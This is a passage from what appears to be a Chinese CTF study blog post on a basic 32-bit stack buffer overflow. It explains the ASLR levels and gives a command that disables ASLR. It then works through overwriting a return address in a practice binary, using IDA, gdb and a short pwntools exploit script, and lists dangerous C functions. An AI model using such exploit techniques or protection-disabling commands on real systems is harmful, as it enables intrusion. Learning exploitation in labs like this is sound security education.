Pwn学习随笔(12)


  • 0 , 关闭 ASLR , 没有随机化 。栈、堆、.so 的基地址每次都相同 。
  • 1 , 普通的 ASLR 。栈基地址、mmap 基地址、.so 加载基地址都将被随机化 , 但是堆基地址没有随机化 。
  • 2 , 增强的 ASLR , 在 1 的基础上 , 增加了堆基地址随机化 。
我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR , 类似的 , 也可以配置相应的参数 。
确认栈溢出和 PIE 保护关闭后 , 我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数。可以看到
int vulnerable(){char s; // [sp+4h] [bp-14h]gets(&s);return puts(&s);}该字符串距离 ebp 的长度为 0x14 , 那么相应的栈结构为
+-----------------+|retaddr|+-----------------+|saved ebp|ebp--->+-----------------+||||||||||||s,ebp-0x14-->+-----------------+也可以通过gdb确定偏移量
Pwn学习随笔

文章插图
并且 , 我们可以通过 IDA 获得 success 的地址 , 其地址为 0x080491B6 。
Pwn学习随笔

文章插图
那么如果我们读取的字符串为
0x14*'a'+'bbbb'+success_addr那么 , 由于 gets 会读到回车才算结束 , 所以我们可以直接读取所有的字符串 , 并且将 saved ebp 覆盖为 bbbb , 将 retaddr 覆盖为 success_addr , 即 , 此时的栈结构为
+-----------------+|0x080491B6|+-----------------+|bbbb|ebp--->+-----------------+||||||||||||s,ebp-0x14-->+-----------------+但是需要注意的是 , 由于在计算机内存中 , 每个值都是按照字节存储的 。一般情况下都是采用小端存储 , 即 0x0804843B 在内存中的形式是\xb6\x91\x04\x08
但是 , 我们又不能直接在终端将这些字符给输入进去 , 在终端输入的时候 \ , x 等也算一个单独的字符 。。所以我们需要想办法将 \x3b 作为一个字符输入进去 。那么此时我们就需要使用一波 pwntools (进行打包)了
##coding=utf8from pwn import *## 构造与程序交互的对象sh = process('./stack1')success_addr = 0x080491b6## 构造payloadpayload = b'a'*0x18 + p32(success_addr)print(p32(success_addr))## 向程序发送字符串sh.sendline(payload)## 将代码交互转换为手工交互sh.interactive()
Pwn学习随笔

文章插图
可以看到我们确实已经执行 success 函数 。
基本步骤寻找危险函数通过寻找危险函数 , 我们快速确定程序是否可能有栈溢出 , 以及有的话 , 栈溢出的位置在哪里 。常见的危险函数如下
  • 输入
    • gets , 直接读取一行 , 忽略'\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy , 字符串复制 , 遇到'\x00'停止
    • strcat , 字符串拼接 , 遇到'\x00'停止
    • bcopy
确定填充长度这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离 。常见的操作方法就是打开 IDA , 根据其给定的地址计算偏移 。一般变量会有以下几种索引模式